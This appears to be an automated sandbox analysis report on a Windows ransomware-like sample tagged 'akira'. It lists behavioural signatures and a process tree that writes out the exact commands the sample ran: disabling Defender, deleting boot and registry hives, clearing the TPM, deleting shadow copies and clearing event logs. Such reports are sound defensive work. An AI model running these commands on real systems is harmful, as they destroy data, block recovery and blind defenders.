Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/07/2026, 11:00

General

  • Target
    2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe
  • Size 1.1MB
  • Sample260709-m39basas5x
  • SHA256 c7c959ae3be582a7a578051620ae3fa2a39f2f91ee24a091665e23bb524b2ca4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Modifies firewall policy service 3 TTPs 16 IoCs
  • Modifies security service 2 TTPs 8 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Disables Task Manager via registry modification
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 50 IoCs
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Modifies service settings 1 TTPs

    Alters the configuration of existing services.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 50 IoCs

    remove IFEO.

  • Maps connected drives based on registry 3 TTPs 3 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Modifies boot configuration data using bcdedit 10 IoCs
  • Power Settings 1 TTPs 1 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 13 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-09_171020d0b64bcf348e0b0960723be7f4_akira.exe"
    1⤵
    • Writes to the Master Boot Record (MBR)
    • Sets desktop wallpaper using registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5636
    • C:\Windows\SYSTEM32\reg.exe
      "reg" "add" "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" "/v" "DisableTaskMgr" "/t" "REG_DWORD" "/d" "1" "/f"
      2⤵
        PID:1840
      • C:\Windows\SYSTEM32\reg.exe
        "reg" "add" "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" "/v" "DisableTaskMgr" "/t" "REG_DWORD" "/d" "1" "/f"
        2⤵
          PID:5572
        • C:\Windows\SYSTEM32\reg.exe
          "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" "/v" "DisableAntiSpyware" "/t" "REG_DWORD" "/d" "1" "/f"
          2⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          PID:2144
        • C:\Windows\SYSTEM32\reg.exe
          "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" "/v" "DisableRealtimeMonitoring" "/t" "REG_DWORD" "/d" "1" "/f"
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:2500
        • C:\Windows\SYSTEM32\reg.exe
          "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" "/v" "DisableBehaviorMonitoring" "/t" "REG_DWORD" "/d" "1" "/f"
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:2708
        • C:\Windows\SYSTEM32\sc.exe
          "sc" "stop" "WinDefend"
          2⤵
          • Launches sc.exe
          PID:5896
        • C:\Windows\SYSTEM32\sc.exe
          "sc" "config" "WinDefend" "start=" "disabled"
          2⤵
          • Launches sc.exe
          PID:2928
        • C:\Windows\SYSTEM32\sc.exe
          "sc" "stop" "Sense"
          2⤵
          • Launches sc.exe
          PID:3276
        • C:\Windows\SYSTEM32\sc.exe
          "sc" "config" "Sense" "start=" "disabled"
          2⤵
          • Launches sc.exe
          PID:6024
        • C:\Windows\SYSTEM32\sc.exe
          "sc" "stop" "WdNisSvc"
          2⤵
          • Launches sc.exe
          PID:5520
        • C:\Windows\SYSTEM32\sc.exe
          "sc" "config" "WdNisSvc" "start=" "disabled"
          2⤵
          • Launches sc.exe
          PID:1760
        • C:\Windows\SYSTEM32\sc.exe
          "sc" "stop" "WdBoot"
          2⤵
          • Launches sc.exe
          PID:1772
        • C:\Windows\SYSTEM32\sc.exe
          "sc" "config" "WdBoot" "start=" "disabled"
          2⤵
          • Launches sc.exe
          PID:2848
        • C:\Windows\SYSTEM32\sc.exe
          "sc" "stop" "WdFilter"
          2⤵
          • Launches sc.exe
          PID:4372
        • C:\Windows\SYSTEM32\sc.exe
          "sc" "config" "WdFilter" "start=" "disabled"
          2⤵
          • Launches sc.exe
          PID:1260
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd" "/c" "reg" "delete" "HKLM\BCD00000000" "/f"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4908
          • C:\Windows\system32\reg.exe
            "reg" "delete" "HKLM\BCD00000000" "/f
            3⤵
              PID:2836
          • C:\Windows\SYSTEM32\reagentc.exe
            "reagentc" "/disable"
            2⤵
            • Drops file in System32 directory
            • Drops file in Windows directory
            PID:1604
          • C:\Windows\SYSTEM32\bcdedit.exe
            "bcdedit" "/set" "{default}" "recoveryenabled" "No"
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:3332
          • C:\Windows\SYSTEM32\bcdedit.exe
            "bcdedit" "/set" "{default}" "nx" "AlwaysOff"
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:4260
          • C:\Windows\SYSTEM32\bcdedit.exe
            "bcdedit" "/set" "{default}" "pae" "ForceDisable"
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:5236
          • C:\Windows\SYSTEM32\bcdedit.exe
            "bcdedit" "/set" "{default}" "bootlog" "Yes"
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:6116
          • C:\Windows\SYSTEM32\bcdedit.exe
            "bcdedit" "/set" "{default}" "noserialmice" "Yes"
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:3244
          • C:\Windows\SYSTEM32\bcdedit.exe
            "bcdedit" "/set" "{default}" "safeboot" "Minimal"
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:5084
          • C:\Windows\SYSTEM32\bcdedit.exe
            "bcdedit" "/set" "{default}" "safebootalternateshell" "yes"
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:4012
          • C:\Windows\SYSTEM32\bcdedit.exe
            "bcdedit" "/delete" "{current}" "/f"
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:1340
          • C:\Windows\SYSTEM32\bcdedit.exe
            "bcdedit" "/delete" "{bootmgr}" "/f"
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:2424
          • C:\Windows\SYSTEM32\bcdedit.exe
            "bcdedit" "/delete" "{memdiag}" "/f"
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:1984
          • C:\Windows\SYSTEM32\reg.exe
            "reg" "delete" "HKLM\SAM\SAM" "/f"
            2⤵
              PID:5764
            • C:\Windows\SYSTEM32\reg.exe
              "reg" "delete" "HKLM\SAM\Domains" "/f"
              2⤵
                PID:4756
              • C:\Windows\SYSTEM32\reg.exe
                "reg" "delete" "HKLM\SYSTEM\CurrentControlSet\Services" "/f"
                2⤵
                • Modifies firewall policy service
                • Modifies security service
                • Maps connected drives based on registry
                PID:2964
              • C:\Windows\SYSTEM32\reg.exe
                "reg" "delete" "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "/f"
                2⤵
                  PID:824
                • C:\Windows\SYSTEM32\reg.exe
                  "reg" "add" "HKLM\SYSTEM\CurrentControlSet\Control" "/v" "SystemStartOptions" "/t" "REG_SZ" "/d" "GARBAGE" "/f"
                  2⤵
                    PID:4476
                  • C:\Windows\SYSTEM32\reg.exe
                    "reg" "delete" "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" "/f"
                    2⤵
                    • Adds Run key to start application
                    PID:3724
                  • C:\Windows\SYSTEM32\reg.exe
                    "reg" "delete" "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" "/f"
                    2⤵
                    • Event Triggered Execution: Image File Execution Options Injection
                    • Indicator Removal: Clear Persistence
                    PID:5288
                  • C:\Windows\SYSTEM32\reg.exe
                    "reg" "delete" "HKLM\SECURITY\Policy" "/f"
                    2⤵
                      PID:3340
                    • C:\Windows\SYSTEM32\reg.exe
                      "reg" "delete" "HKLM\DEFAULT\Software" "/f"
                      2⤵
                        PID:1632
                      • C:\Windows\SYSTEM32\fsutil.exe
                        "fsutil" "dirty" "set" "C:"
                        2⤵
                          PID:5940
                        • C:\Windows\SYSTEM32\tpmtool.exe
                          "tpmtool" "clear"
                          2⤵
                            PID:5468
                          • C:\Windows\System32\Wbem\wmic.exe
                            "wmic" "/namespace:\\root\cimv2\security\microsofttpm" "path" "Win32_Tpm" "call" "Clear"
                            2⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:6096
                          • C:\Windows\SYSTEM32\sc.exe
                            "sc" "stop" "VSS"
                            2⤵
                            • Launches sc.exe
                            PID:4916
                          • C:\Windows\SYSTEM32\sc.exe
                            "sc" "config" "VSS" "start=" "disabled"
                            2⤵
                            • Launches sc.exe
                            PID:1960
                          • C:\Windows\SYSTEM32\vssadmin.exe
                            "vssadmin" "delete" "shadows" "/all" "/quiet"
                            2⤵
                            • Interacts with shadow copies
                            PID:5136
                          • C:\Windows\System32\Wbem\wmic.exe
                            "wmic" "shadowcopy" "delete"
                            2⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4248
                          • C:\Windows\SYSTEM32\sc.exe
                            "sc" "query" "type=" "service" "state=" "all"
                            2⤵
                            • Launches sc.exe
                            PID:2616
                          • C:\Windows\SYSTEM32\wevtutil.exe
                            "wevtutil" "cl" "Application"
                            2⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5392
                          • C:\Windows\SYSTEM32\wevtutil.exe
                            "wevtutil" "cl" "System"
                            2⤵
                              PID:5220
                            • C:\Windows\SYSTEM32\wevtutil.exe
                              "wevtutil" "cl" "Security"
                              2⤵
                                PID:5376
                              • C:\Windows\System32\Wbem\wmic.exe
                                "wmic" "computersystem" "set" "AutomaticManagedPagefile=False"
                                2⤵
                                  PID:4484
                                • C:\Windows\SYSTEM32\powercfg.exe
                                  "powercfg" "/h" "off"
                                  2⤵
                                  • Power Settings
                                  PID:1060
                                • C:\Windows\system32\WerFault.exe
                                  C:\Windows\system32\WerFault.exe -u -p 5636 -s 720
                                  2⤵
                                    PID:2188
                                • C:\Windows\system32\usoclient.exe
                                  C:\Windows\system32\usoclient.exe ReportPolicies
                                  1⤵
                                    PID:5880

                                  Network

                                        MITRE ATT&CK Enterprise v16

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                                        Downloads

                                        ReAgent.log

                                        • Path C:\Windows\Logs\ReAgent\ReAgent.log
                                        • Size 2KB
                                        • SHA256 2018f1b21effd1f1b746e7482f0dda86de48399c7021f0dea3dda8f85b9b1297
                                        • MD5 SHA1 SHA512 TLSH

                                        diagerr.xml

                                        • Path C:\Windows\Panther\UnattendGC\diagerr.xml
                                        • Size 9KB
                                        • SHA256 a956e08a12bb657248b11bd5734a32c5a0bc2832b422d42e4b8644a28303e194
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        diagwrn.xml

                                        • Path C:\Windows\Panther\UnattendGC\diagwrn.xml
                                        • Size 10KB
                                        • SHA256 93d6c88a274348861bffee93f2f4ed044b8b2e2312ff173779d8e40a48b73b41
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        ReAgent.xml

                                        • Path C:\Windows\System32\Recovery\ReAgent.xml
                                        • Size 1KB
                                        • SHA256 894ee2b19608d10df4bf8b8f5bbcf40ce38c09c1f4c5543b6164f40c04bb270d
                                        • MD5 SHA1 SHA512 TLSH

                                        memory/5636-61-0x00007FF719FA0000-0x00007FF71A0CA000-memory.dmp

                                        memory/5636-62-0x00007FF719FA0000-0x00007FF71A0CA000-memory.dmp